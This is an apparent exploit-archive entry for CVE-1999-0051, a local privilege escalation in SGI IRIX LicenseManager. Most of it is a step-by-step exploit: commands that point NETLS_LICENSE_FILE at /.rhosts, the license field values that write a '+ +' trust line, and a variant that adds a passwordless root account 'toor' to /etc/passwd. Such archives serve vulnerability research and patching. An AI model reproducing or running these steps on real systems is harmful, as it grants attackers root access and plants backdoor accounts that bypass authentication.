SGI IRIX 5.3/6.2 / SGI license_oeo 1.0 LicenseManager - 'NETLS_LICENSE_FILE' Local Privilege Escalation

    Author: Arthur Hagen

    type: local

    platform: irix

    port: 

    date_added: 1996-04-05

    date_updated: 2012-06-11

    verified: 1

    codes: OSVDB-897;CVE-1999-0051

    tags: 

    aliases: 

    screenshot_url: 

    application_url: 

    raw file: 19066.txt

source: https://www.securityfocus.com/bid/72/info

Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.

% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &

Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0

(in license version field put a space)

Apply

License(s) succesfully installed

% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +

If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.